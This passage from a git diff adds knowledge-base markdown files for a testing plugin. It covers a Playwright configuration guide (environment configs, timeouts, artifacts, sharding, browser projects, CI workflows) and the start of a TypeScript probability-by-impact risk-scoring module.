+| "What's on this page?"                | CLI  | One-shot snapshot, no state needed |
+| "Verify this selector exists"         | CLI  | Single check, minimal tokens       |
+| "Capture a screenshot for evidence"   | CLI  | Stateless capture                  |
+| "Walk through a multi-step wizard"    | MCP  | State carries across steps         |
+| "Debug why this test fails" (healing) | CLI  | `--debug=cli` + trace analysis     |
+| "Record a drag-and-drop flow"         | MCP  | Complex interaction semantics      |
+
+## Related Fragments
+
+- `overview.md` — Playwright Utils installation and fixture patterns (the test code layer that CLI complements)
+- `api-request.md` — Typed HTTP client for API tests (CLI discovers endpoints, apiRequest tests them)
+- `api-testing-patterns.md` — Pure API test patterns (when CLI isn't needed)
+- `auth-session.md` — Token management (CLI `state-save` informs auth-session usage)
+- `selector-resilience.md` — Robust selector strategies (CLI verifies them against real DOM)
+- `visual-debugging.md` — Trace viewer usage (CLI captures traces)
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/playwright-config.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/playwright-config.md
new file mode 100644
index 0000000..e4843ce
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/playwright-config.md
@@ -0,0 +1,734 @@
+# Playwright Configuration Guardrails
+
+## Principle
+
+Load environment configs via a central map (`envConfigMap`), standardize timeouts (action 15s, navigation 30s, expect 10s, test 60s), emit HTML + JUnit reporters, and store artifacts under `test-results/` for CI upload. Keep `.env.example`, `.nvmrc`, and browser dependencies versioned so local and CI runs stay aligned.
+
+## Rationale
+
+Environment-specific configuration prevents hardcoded URLs, timeouts, and credentials from leaking into tests. A central config map with fail-fast validation catches missing environments early. Standardized timeouts reduce flakiness while remaining long enough for real-world network conditions. Consistent artifact storage (`test-results/`, `playwright-report/`) enables CI pipelines to upload failure evidence automatically. Versioned dependencies (`.nvmrc`, `package.json` browser versions) eliminate "works on my machine" issues between local and CI environments.
+
+## Pattern Examples
+
+### Example 1: Environment-Based Configuration
+
+**Context**: When testing against multiple environments (local, staging, production), use a central config map that loads environment-specific settings and fails fast if `TEST_ENV` is invalid.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Central config loader
+import { config as dotenvConfig } from 'dotenv';
+import path from 'path';
+
+// Load .env from project root
+dotenvConfig({
+  path: path.resolve(__dirname, '../../.env'),
+});
+
+// Central environment config map
+const envConfigMap = {
+  local: require('./playwright/config/local.config').default,
+  staging: require('./playwright/config/staging.config').default,
+  production: require('./playwright/config/production.config').default,
+};
+
+const environment = process.env.TEST_ENV || 'local';
+
+// Fail fast if environment not supported
+if (!Object.keys(envConfigMap).includes(environment)) {
+  console.error(`❌ No configuration found for environment: ${environment}`);
+  console.error(`   Available environments: ${Object.keys(envConfigMap).join(', ')}`);
+  process.exit(1);
+}
+
+console.log(`✅ Running tests against: ${environment.toUpperCase()}`);
+
+export default envConfigMap[environment as keyof typeof envConfigMap];
+```
+
+```typescript
+// playwright/config/base.config.ts - Shared base configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export const baseConfig = defineConfig({
+  testDir: path.resolve(__dirname, '../tests'),
+  outputDir: path.resolve(__dirname, '../../test-results'),
+  fullyParallel: true,
+  forbidOnly: !!process.env.CI,
+  retries: process.env.CI ? 2 : 0,
+  workers: process.env.CI ? 1 : undefined,
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'test-results/results.xml' }],
+    ['list'],
+  ],
+  use: {
+    actionTimeout: 15000,
+    navigationTimeout: 30000,
+    trace: 'retain-on-failure-and-retries',
+    screenshot: 'only-on-failure',
+    video: 'retain-on-failure',
+  },
+  globalSetup: path.resolve(__dirname, '../support/global-setup.ts'),
+  timeout: 60000,
+  expect: { timeout: 10000 },
+});
+```
+
+```typescript
+// playwright/config/local.config.ts - Local environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'http://localhost:3000',
+    video: 'off', // No video locally for speed
+  },
+  webServer: {
+    command: 'npm run dev',
+    url: 'http://localhost:3000',
+    wait: {
+      stdout: /ready|listening|localhost:/i,
+    },
+    reuseExistingServer: !process.env.CI,
+    timeout: 120000,
+  },
+});
+```
+
+```typescript
+// playwright/config/staging.config.ts - Staging environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://staging.example.com',
+    ignoreHTTPSErrors: true, // Allow self-signed certs in staging
+  },
+});
+```
+
+```typescript
+// playwright/config/production.config.ts - Production environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  retries: 3, // More retries in production
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://example.com',
+    video: 'on', // Always record production failures
+  },
+});
+```
+
+```bash
+# .env.example - Template for developers
+TEST_ENV=local
+API_KEY=your_api_key_here
+DATABASE_URL=postgresql://localhost:5432/test_db
+```
+
+**Key Points**:
+
+- Central `envConfigMap` prevents environment misconfiguration
+- Fail-fast validation with clear error message (available envs listed)
+- Base config defines shared settings, environment configs override
+- `.env.example` provides template for required secrets
+- `TEST_ENV=local` as default for local development
+- Production config increases retries and enables video recording
+
+### Example 2: Timeout Standards
+
+**Context**: When tests fail due to inconsistent timeout settings, standardize timeouts across all tests: action 15s, navigation 30s, expect 10s, test 60s. Expose overrides through fixtures rather than inline literals.
+
+**Implementation**:
+
+```typescript
+// playwright/config/base.config.ts - Standardized timeouts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  // Global test timeout: 60 seconds
+  timeout: 60000,
+
+  use: {
+    // Action timeout: 15 seconds (click, fill, etc.)
+    actionTimeout: 15000,
+
+    // Navigation timeout: 30 seconds (page.goto, page.reload)
+    navigationTimeout: 30000,
+  },
+
+  // Expect timeout: 10 seconds (all assertions)
+  expect: {
+    timeout: 10000,
+  },
+});
+```
+
+```typescript
+// playwright/support/fixtures/timeout-fixture.ts - Timeout override fixture
+import { test as base } from '@playwright/test';
+
+type TimeoutOptions = {
+  extendedTimeout: (timeoutMs: number) => Promise<void>;
+};
+
+export const test = base.extend<TimeoutOptions>({
+  extendedTimeout: async ({}, use, testInfo) => {
+    const originalTimeout = testInfo.timeout;
+
+    await use(async (timeoutMs: number) => {
+      testInfo.setTimeout(timeoutMs);
+    });
+
+    // Restore original timeout after test
+    testInfo.setTimeout(originalTimeout);
+  },
+});
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// Usage in tests - Standard timeouts (implicit)
+import { test, expect } from '@playwright/test';
+
+test('user can log in', async ({ page }) => {
+  await page.goto('/login'); // Uses 30s navigation timeout
+  await page.fill('[data-testid="email"]', 'test@example.com'); // Uses 15s action timeout
+  await page.click('[data-testid="login-button"]'); // Uses 15s action timeout
+
+  await expect(page.getByText('Welcome')).toBeVisible(); // Uses 10s expect timeout
+});
+```
+
+```typescript
+// Usage in tests - Per-test timeout override
+import { test, expect } from '../support/fixtures/timeout-fixture';
+
+test('slow data processing operation', async ({ page, extendedTimeout }) => {
+  // Override default 60s timeout for this slow test
+  await extendedTimeout(180000); // 3 minutes
+
+  await page.goto('/data-processing');
+  await page.click('[data-testid="process-large-file"]');
+
+  // Wait for long-running operation
+  await expect(page.getByText('Processing complete')).toBeVisible({
+    timeout: 120000, // 2 minutes for assertion
+  });
+});
+```
+
+```typescript
+// Per-assertion timeout override (inline)
+test('API returns quickly', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Override expect timeout for fast API (reduce flakiness detection)
+  await expect(page.getByTestId('user-name')).toBeVisible({ timeout: 5000 }); // 5s instead of 10s
+
+  // Override expect timeout for slow external API
+  await expect(page.getByTestId('weather-widget')).toBeVisible({ timeout: 20000 }); // 20s instead of 10s
+});
+```
+
+**Key Points**:
+
+- **Standardized timeouts**: action 15s, navigation 30s, expect 10s, test 60s (global defaults)
+- Fixture-based override (`extendedTimeout`) for slow tests (preferred over inline)
+- Per-assertion timeout override via `{ timeout: X }` option (use sparingly)
+- Avoid hard waits (`page.waitForTimeout(3000)`) - use event-based waits instead
+- CI environments may need longer timeouts (handle in environment-specific config)
+
+### Example 3: Artifact Output Configuration
+
+**Context**: When debugging failures in CI, configure artifacts (screenshots, videos, traces, HTML reports) to be captured on failure and stored in consistent locations for upload.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Artifact configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  // Output directory for test artifacts
+  outputDir: path.resolve(__dirname, './test-results'),
+
+  use: {
+    // Screenshot on failure only (saves space)
+    screenshot: 'only-on-failure',
+
+    // Video recording on failure + retry
+    video: 'retain-on-failure',
+
+    // Keep failed attempts and retries for flake analysis
+    trace: 'retain-on-failure-and-retries',
+  },
+
+  reporter: [
+    // HTML report (visual, interactive)
+    [
+      'html',
+      {
+        outputFolder: 'playwright-report',
+        open: 'never', // Don't auto-open in CI
+      },
+    ],
+
+    // JUnit XML (CI integration)
+    [
+      'junit',
+      {
+        outputFile: 'test-results/results.xml',
+      },
+    ],
+
+    // List reporter (console output)
+    ['list'],
+  ],
+});
+```
+
+```typescript
+// playwright/support/fixtures/artifact-fixture.ts - Custom artifact capture
+import { test as base } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+export const test = base.extend({
+  // Auto-capture console logs on failure
+  page: async ({ page }, use, testInfo) => {
+    const logs: string[] = [];
+
+    page.on('console', (msg) => {
+      logs.push(`[${msg.type()}] ${msg.text()}`);
+    });
+
+    await use(page);
+
+    // Save logs on failure
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const logsPath = path.join(testInfo.outputDir, 'console-logs.txt');
+      fs.writeFileSync(logsPath, logs.join('\n'));
+      testInfo.attachments.push({
+        name: 'console-logs',
+        contentType: 'text/plain',
+        path: logsPath,
+      });
+    }
+  },
+});
+```
+
+```yaml
+# .github/workflows/e2e.yml - CI artifact upload
+name: E2E Tests
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests
+        run: npm run test
+        env:
+          TEST_ENV: staging
+
+      # Upload test artifacts on failure
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results
+          path: test-results/
+          retention-days: 30
+
+      - name: Upload Playwright report
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-report
+          path: playwright-report/
+          retention-days: 30
+```
+
+```typescript
+// Example: Custom screenshot on specific condition
+test('capture screenshot on specific error', async ({ page }) => {
+  await page.goto('/checkout');
+
+  try {
+    await page.click('[data-testid="submit-payment"]');
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+  } catch (error) {
+    // Capture custom screenshot with timestamp
+    await page.screenshot({
+      path: `test-results/payment-error-${Date.now()}.png`,
+      fullPage: true,
+    });
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `screenshot: 'only-on-failure'` saves space (not every test)
+- `video: 'retain-on-failure'` captures full flow on failures
+- `trace: 'retain-on-failure-and-retries'` keeps enough history to compare failing retries against passing runs
+- `webServer.wait` is better than startup sleeps when local servers print readiness to stdout/stderr
+- HTML report at `playwright-report/` (visual debugging)
+- JUnit XML at `test-results/results.xml` (CI integration)
+- CI uploads artifacts on failure with 30-day retention
+- Custom fixture can capture console logs, network logs, etc.
+
+### Example 4: Parallelization Configuration
+
+**Context**: When tests run slowly in CI, configure parallelization with worker count, sharding, and fully parallel execution to maximize speed while maintaining stability.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Parallelization settings
+import { defineConfig } from '@playwright/test';
+import os from 'os';
+
+export default defineConfig({
+  // Run tests in parallel within single file
+  fullyParallel: true,
+
+  // Worker configuration
+  workers: process.env.CI
+    ? 1 // Serial in CI for stability (or 2 for faster CI)
+    : os.cpus().length - 1, // Parallel locally (leave 1 CPU for OS)
+
+  // Prevent accidentally committed .only() from blocking CI
+  forbidOnly: !!process.env.CI,
+
+  // Retry failed tests in CI
+  retries: process.env.CI ? 2 : 0,
+
+  // Shard configuration (split tests across multiple machines)
+  shard:
+    process.env.SHARD_INDEX && process.env.SHARD_TOTAL
+      ? {
+          current: parseInt(process.env.SHARD_INDEX, 10),
+          total: parseInt(process.env.SHARD_TOTAL, 10),
+        }
+      : undefined,
+});
+```
+
+```yaml
+# .github/workflows/e2e-parallel.yml - Sharded CI execution
+name: E2E Tests (Parallel)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        shard: [1, 2, 3, 4] # Split tests across 4 machines
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests (shard ${{ matrix.shard }})
+        run: npm run test
+        env:
+          SHARD_INDEX: ${{ matrix.shard }}
+          SHARD_TOTAL: 4
+          TEST_ENV: staging
+
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: test-results/
+```
+
+```typescript
+// playwright/config/serial.config.ts - Serial execution for flaky tests
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+
+  // Disable parallel execution
+  fullyParallel: false,
+  workers: 1,
+
+  // Used for: authentication flows, database-dependent tests, feature flag tests
+});
+```
+
+```typescript
+// Usage: Force serial execution for specific tests
+import { test } from '@playwright/test';
+
+// Serial execution for auth tests (shared session state)
+test.describe.configure({ mode: 'serial' });
+
+test.describe('Authentication Flow', () => {
+  test('user can log in', async ({ page }) => {
+    // First test in serial block
+  });
+
+  test('user can access dashboard', async ({ page }) => {
+    // Depends on previous test (serial)
+  });
+});
+```
+
+```typescript
+// Usage: Parallel execution for independent tests (default)
+import { test } from '@playwright/test';
+
+test.describe('Product Catalog', () => {
+  test('can view product 1', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+
+  test('can view product 2', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+});
+```
+
+**Key Points**:
+
+- `fullyParallel: true` enables parallel execution within single test file
+- Workers: 1 in CI (stability), N-1 CPUs locally (speed)
+- Sharding splits tests across multiple CI machines (4x faster with 4 shards)
+- `test.describe.configure({ mode: 'serial' })` for dependent tests
+- `forbidOnly: true` in CI prevents `.only()` from blocking pipeline
+- Matrix strategy in CI runs shards concurrently
+
+### Example 5: Project Configuration
+
+**Context**: When testing across multiple browsers, devices, or configurations, use Playwright projects to run the same tests against different environments (chromium, firefox, webkit, mobile).
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Multiple browser projects
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    // Desktop browsers
+    {
+      name: 'chromium',
+      use: { ...devices['Desktop Chrome'] },
+    },
+    {
+      name: 'firefox',
+      use: { ...devices['Desktop Firefox'] },
+    },
+    {
+      name: 'webkit',
+      use: { ...devices['Desktop Safari'] },
+    },
+
+    // Mobile browsers
+    {
+      name: 'mobile-chrome',
+      use: { ...devices['Pixel 5'] },
+    },
+    {
+      name: 'mobile-safari',
+      use: { ...devices['iPhone 13'] },
+    },
+
+    // Tablet
+    {
+      name: 'tablet',
+      use: { ...devices['iPad Pro'] },
+    },
+  ],
+});
+```
+
+```typescript
+// playwright.config.ts - Authenticated vs. unauthenticated projects
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  projects: [
+    // Setup project (runs first, creates auth state)
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+
+    // Authenticated tests (reuse auth state)
+    {
+      name: 'authenticated',
+      dependencies: ['setup'],
+      use: {
+        storageState: path.resolve(__dirname, './playwright/.auth/user.json'),
+      },
+      testMatch: /.*authenticated\.spec\.ts/,
+    },
+
+    // Unauthenticated tests (public pages)
+    {
+      name: 'unauthenticated',
+      testMatch: /.*unauthenticated\.spec\.ts/,
+    },
+  ],
+});
+```
+
+```typescript
+// playwright/support/global-setup.ts - Setup project for auth
+import { chromium, FullConfig } from '@playwright/test';
+import path from 'path';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Perform authentication
+  await page.goto('http://localhost:3000/login');
+  await page.fill('[data-testid="email"]', 'test@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login-button"]');
+
+  // Wait for authentication to complete
+  await page.waitForURL('**/dashboard');
+
+  // Save authentication state
+  await page.context().storageState({
+    path: path.resolve(__dirname, '../.auth/user.json'),
+  });
+
+  await browser.close();
+}
+
+export default globalSetup;
+```
+
+```bash
+# Run specific project
+npx playwright test --project=chromium
+npx playwright test --project=mobile-chrome
+npx playwright test --project=authenticated
+
+# Run multiple projects
+npx playwright test --project=chromium --project=firefox
+
+# Run all projects (default)
+npx playwright test
+```
+
+```typescript
+// Usage: Project-specific test
+import { test, expect } from '@playwright/test';
+
+test('mobile navigation works', async ({ page, isMobile }) => {
+  await page.goto('/');
+
+  if (isMobile) {
+    // Open mobile menu
+    await page.click('[data-testid="hamburger-menu"]');
+  }
+
+  await page.click('[data-testid="products-link"]');
+  await expect(page).toHaveURL(/.*products/);
+});
+```
+
+```yaml
+# .github/workflows/e2e-cross-browser.yml - CI cross-browser testing
+name: E2E Tests (Cross-Browser)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        project: [chromium, firefox, webkit, mobile-chrome]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+      - run: npm ci
+      - run: npx playwright install --with-deps
+
+      - name: Run tests (${{ matrix.project }})
+        run: npx playwright test --project=${{ matrix.project }}
+```
+
+**Key Points**:
+
+- Projects enable testing across browsers, devices, and configurations
+- `devices` from `@playwright/test` provide preset configurations (Pixel 5, iPhone 13, etc.)
+- `dependencies` ensures setup project runs first (auth, data seeding)
+- `storageState` shares authentication across tests (0 seconds auth per test)
+- `testMatch` filters which tests run in which project
+- CI matrix strategy runs projects in parallel (4x faster with 4 projects)
+- `isMobile` context property for conditional logic in tests
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (config setup), `*ci` (parallelization, artifact upload)
+- **Related fragments**:
+  - `fixture-architecture.md` - Fixture-based timeout overrides
+  - `ci-burn-in.md` - CI pipeline artifact upload
+  - `test-quality.md` - Timeout standards (no hard waits)
+  - `data-factories.md` - Per-test isolation (no shared global state)
+
+## Configuration Checklist
+
+**Before deploying tests, verify**:
+
+- [ ] Environment config map with fail-fast validation
+- [ ] Standardized timeouts (action 15s, navigation 30s, expect 10s, test 60s)
+- [ ] Artifact storage at `test-results/` and `playwright-report/`
+- [ ] HTML + JUnit reporters configured
+- [ ] `.env.example`, `.nvmrc`, browser versions committed
+- [ ] Parallelization configured (workers, sharding)
+- [ ] Projects defined for cross-browser/device testing (if needed)
+- [ ] CI uploads artifacts on failure with 30-day retention
+
+_Source: Playwright book repo, enterprise configuration example, Murat testing philosophy (lines 216-271)._
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/probability-impact.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/probability-impact.md
new file mode 100644
index 0000000..f287934
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/probability-impact.md
@@ -0,0 +1,601 @@
+# Probability and Impact Scale
+
+## Principle
+
+Risk scoring uses a **probability × impact** matrix (1-9 scale) to prioritize testing efforts. Higher scores (6-9) demand immediate action; lower scores (1-3) require documentation only. This systematic approach ensures testing resources focus on the highest-value risks.
+
+## Rationale
+
+**The Problem**: Without quantifiable risk assessment, teams over-test low-value scenarios while missing critical risks. Gut feeling leads to inconsistent prioritization and missed edge cases.
+
+**The Solution**: Standardize risk evaluation with a 3×3 matrix (probability: 1-3, impact: 1-3). Multiply to derive risk score (1-9). Automate classification (DOCUMENT, MONITOR, MITIGATE, BLOCK) based on thresholds. This approach surfaces hidden risks early and justifies testing decisions to stakeholders.
+
+**Why This Matters**:
+
+- Consistent risk language across product, engineering, and QA
+- Objective prioritization of test scenarios (not politics)
+- Automatic gate decisions (score=9 → FAIL until resolved)
+- Audit trail for compliance and retrospectives
+
+## Pattern Examples
+
+### Example 1: Probability-Impact Matrix Implementation (Automated Classification)
+
+**Context**: Implement a reusable risk scoring system with automatic threshold classification
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-matrix.ts
+
+/**
+ * Probability levels:
+ * 1 = Unlikely (standard implementation, low uncertainty)
+ * 2 = Possible (edge cases or partial unknowns)
+ * 3 = Likely (known issues, new integrations, high ambiguity)
+ */
+export type Probability = 1 | 2 | 3;
+
+/**
+ * Impact levels:
+ * 1 = Minor (cosmetic issues or easy workarounds)
+ * 2 = Degraded (partial feature loss or manual workaround)
+ * 3 = Critical (blockers, data/security/regulatory exposure)
+ */
+export type Impact = 1 | 2 | 3;
+
+/**
+ * Risk score (probability × impact): 1-9
+ */
+export type RiskScore = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
+
+/**
+ * Action categories based on risk score thresholds
+ */
+export type RiskAction = 'DOCUMENT' | 'MONITOR' | 'MITIGATE' | 'BLOCK';
+
+export type RiskAssessment = {
+  probability: Probability;
+  impact: Impact;
+  score: RiskScore;
+  action: RiskAction;
+  reasoning: string;
+};
+
+/**
+ * Calculate risk score: probability × impact
+ */
+export function calculateRiskScore(probability: Probability, impact: Impact): RiskScore {
+  return (probability * impact) as RiskScore;
+}
+
+/**
+ * Classify risk action based on score thresholds:
+ * - 1-3: DOCUMENT (awareness only)
+ * - 4-5: MONITOR (watch closely, plan mitigations)
+ * - 6-8: MITIGATE (CONCERNS at gate until mitigated)
+ * - 9: BLOCK (automatic FAIL until resolved or waived)
+ */
+export function classifyRiskAction(score: RiskScore): RiskAction {
+  if (score >= 9) return 'BLOCK';
+  if (score >= 6) return 'MITIGATE';
+  if (score >= 4) return 'MONITOR';
+  return 'DOCUMENT';
+}
+
+/**
+ * Full risk assessment with automatic classification
+ */
+export function assessRisk(params: { probability: Probability; impact: Impact; reasoning: string }): RiskAssessment {
+  const { probability, impact, reasoning } = params;
+
+  const score = calculateRiskScore(probability, impact);
+  const action = classifyRiskAction(score);
+
+  return { probability, impact, score, action, reasoning };
+}
+
+/**
+ * Generate risk matrix visualization (3x3 grid)
+ * Returns markdown table with color-coded scores
+ */
+export function generateRiskMatrix(): string {
+  const matrix: string[][] = [];
+  const header = ['Impact \\ Probability', 'Unlikely (1)', 'Possible (2)', 'Likely (3)'];
+  matrix.push(header);
+
+  const impactLabels = ['Critical (3)', 'Degraded (2)', 'Minor (1)'];
+  for (let impact = 3; impact >= 1; impact--) {
+    const row = [impactLabels[3 - impact]];
+    for (let probability = 1; probability <= 3; probability++) {
+      const score = calculateRiskScore(probability as Probability, impact as Impact);
+      const action = classifyRiskAction(score);
+      const emoji = action === 'BLOCK' ? '🔴' : action === 'MITIGATE' ? '🟠' : action === 'MONITOR' ? '🟡' : '🟢';
+      row.push(`${emoji} ${score}`);
+    }
+    matrix.push(row);
+  }
+
+  return matrix.map((row) => `| ${row.join(' | ')} |`).join('\n');
+}
+```
+
+**Key Points**:
+
+- Type-safe probability/impact (1-3 enforced at compile time)
+- Automatic action classification (DOCUMENT, MONITOR, MITIGATE, BLOCK)
+- Visual matrix generation for documentation
+- Risk score formula: `probability * impact` (max = 9)
+- Threshold-based decision rules (6-8 = MITIGATE, 9 = BLOCK)
+
+---
+
+### Example 2: Risk Assessment Workflow (Test Planning Integration)
+
+**Context**: Apply risk matrix during test design to prioritize scenarios
+
+**Implementation**:
+
+```typescript
+// tests/e2e/test-planning/risk-assessment.ts
+import { assessRisk, generateRiskMatrix, type RiskAssessment } from '../../../src/testing/risk-matrix';
+
+export type TestScenario = {
+  id: string;
+  title: string;
+  feature: string;
+  risk: RiskAssessment;
+  testLevel: 'E2E' | 'API' | 'Unit';
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+  owner: string;
+};
+
+/**
+ * Assess test scenarios and auto-assign priority based on risk score
+ */
+export function assessTestScenarios(scenarios: Omit<TestScenario, 'risk' | 'priority'>[]): TestScenario[] {
+  return scenarios.map((scenario) => {
+    // Auto-assign priority based on risk score
+    const priority = mapRiskToPriority(scenario.risk.score);
+    return { ...scenario, priority };
+  });
+}
+
+/**
+ * Map risk score to test priority (P0-P3)
+ * P0: Critical (score 9) - blocks release
+ * P1: High (score 6-8) - must fix before release
+ * P2: Medium (score 4-5) - fix if time permits
+ * P3: Low (score 1-3) - document and defer
+ */
+function mapRiskToPriority(score: number): 'P0' | 'P1' | 'P2' | 'P3' {
+  if (score === 9) return 'P0';
+  if (score >= 6) return 'P1';
+  if (score >= 4) return 'P2';
+  return 'P3';
+}
+
+/**
+ * Example: Payment flow risk assessment
+ */
+export const paymentScenarios: Array<Omit<TestScenario, 'priority'>> = [
+  {
+    id: 'PAY-001',
+    title: 'Valid credit card payment completes successfully',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 2, // Possible (standard Stripe integration)
+      impact: 3, // Critical (revenue loss if broken)
+      reasoning: 'Core revenue flow, but Stripe is well-tested',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-002',
+    title: 'Expired credit card shows user-friendly error',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 3, // Likely (edge case handling often buggy)
+      impact: 2, // Degraded (users see error, but can retry)
+      reasoning: 'Error handling logic is custom and complex',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-003',
+    title: 'Payment confirmation email formatting is correct',
+    feature: 'Email',
+    risk: assessRisk({
+      probability: 2, // Possible (template changes occasionally break)
+      impact: 1, // Minor (cosmetic issue, email still sent)
+      reasoning: 'Non-blocking, users get email regardless',
+    }),
+    testLevel: 'Unit',
+    owner: 'dev-team',
+  },
+  {
+    id: 'PAY-004',
+    title: 'Payment fails gracefully when Stripe is down',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 1, // Unlikely (Stripe has 99.99% uptime)
+      impact: 3, // Critical (complete checkout failure)
+      reasoning: 'Rare but catastrophic, requires retry mechanism',
+    }),
+    testLevel: 'API',
+    owner: 'qa-team',
+  },
+];
+
+/**
+ * Generate risk assessment report with priority distribution
+ */
+export function generateRiskReport(scenarios: TestScenario[]): string {
+  const priorityCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.priority] = (acc[s.priority] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  const actionCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.risk.action] = (acc[s.risk.action] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  return `
+# Risk Assessment Report
+
+## Risk Matrix
+${generateRiskMatrix()}
+
+## Priority Distribution
+- **P0 (Blocker)**: ${priorityCounts.P0 || 0} scenarios
+- **P1 (High)**: ${priorityCounts.P1 || 0} scenarios
+- **P2 (Medium)**: ${priorityCounts.P2 || 0} scenarios
+- **P3 (Low)**: ${priorityCounts.P3 || 0} scenarios
+
+## Action Required
+- **BLOCK**: ${actionCounts.BLOCK || 0} scenarios (auto-fail gate)
+- **MITIGATE**: ${actionCounts.MITIGATE || 0} scenarios (concerns at gate)
+- **MONITOR**: ${actionCounts.MONITOR || 0} scenarios (watch closely)
+- **DOCUMENT**: ${actionCounts.DOCUMENT || 0} scenarios (awareness only)
+
+## Scenarios by Risk Score (Highest First)
+${scenarios
+  .sort((a, b) => b.risk.score - a.risk.score)
+  .map((s) => `- **[${s.priority}]** ${s.id}: ${s.title} (Score: ${s.risk.score} - ${s.risk.action})`)
+  .join('\n')}
+`.trim();
+}
+```
+
+**Key Points**:
+
+- Risk score → Priority mapping (P0-P3 automated)
+- Report generation with priority/action distribution
+- Scenarios sorted by risk score (highest first)
+- Visual matrix included in reports
+- Reusable across projects (extract to shared library)
+
+---
+
+### Example 3: Dynamic Risk Re-Assessment (Continuous Evaluation)
+
+**Context**: Recalculate risk scores as project evolves (requirements change, mitigations implemented)
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-tracking.ts
+import { type RiskAssessment, assessRisk, type Probability, type Impact } from './risk-matrix';
+
+export type RiskHistory = {
+  timestamp: Date;
+  assessment: RiskAssessment;
+  changedBy: string;
+  reason: string;
+};
+
+export type TrackedRisk = {
+  id: string;
+  title: string;
+  feature: string;
+  currentRisk: RiskAssessment;
+  history: RiskHistory[];
+  mitigations: string[];
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'RESOLVED';
+};
+
+export class RiskTracker {
+  private risks: Map<string, TrackedRisk> = new Map();
+
+  /**
+   * Add new risk to tracker
+   */
+  addRisk(params: {
+    id: string;
+    title: string;
+    feature: string;
+    probability: Probability;
+    impact: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk {
+    const { id, title, feature, probability, impact, reasoning, changedBy } = params;
+
+    const assessment = assessRisk({ probability, impact, reasoning });
+
+    const risk: TrackedRisk = {
+      id,
+      title,
+      feature,
+      currentRisk: assessment,
+      history: [
+        {
+          timestamp: new Date(),
+          assessment,
+          changedBy,
+          reason: 'Initial assessment',
+        },
+      ],
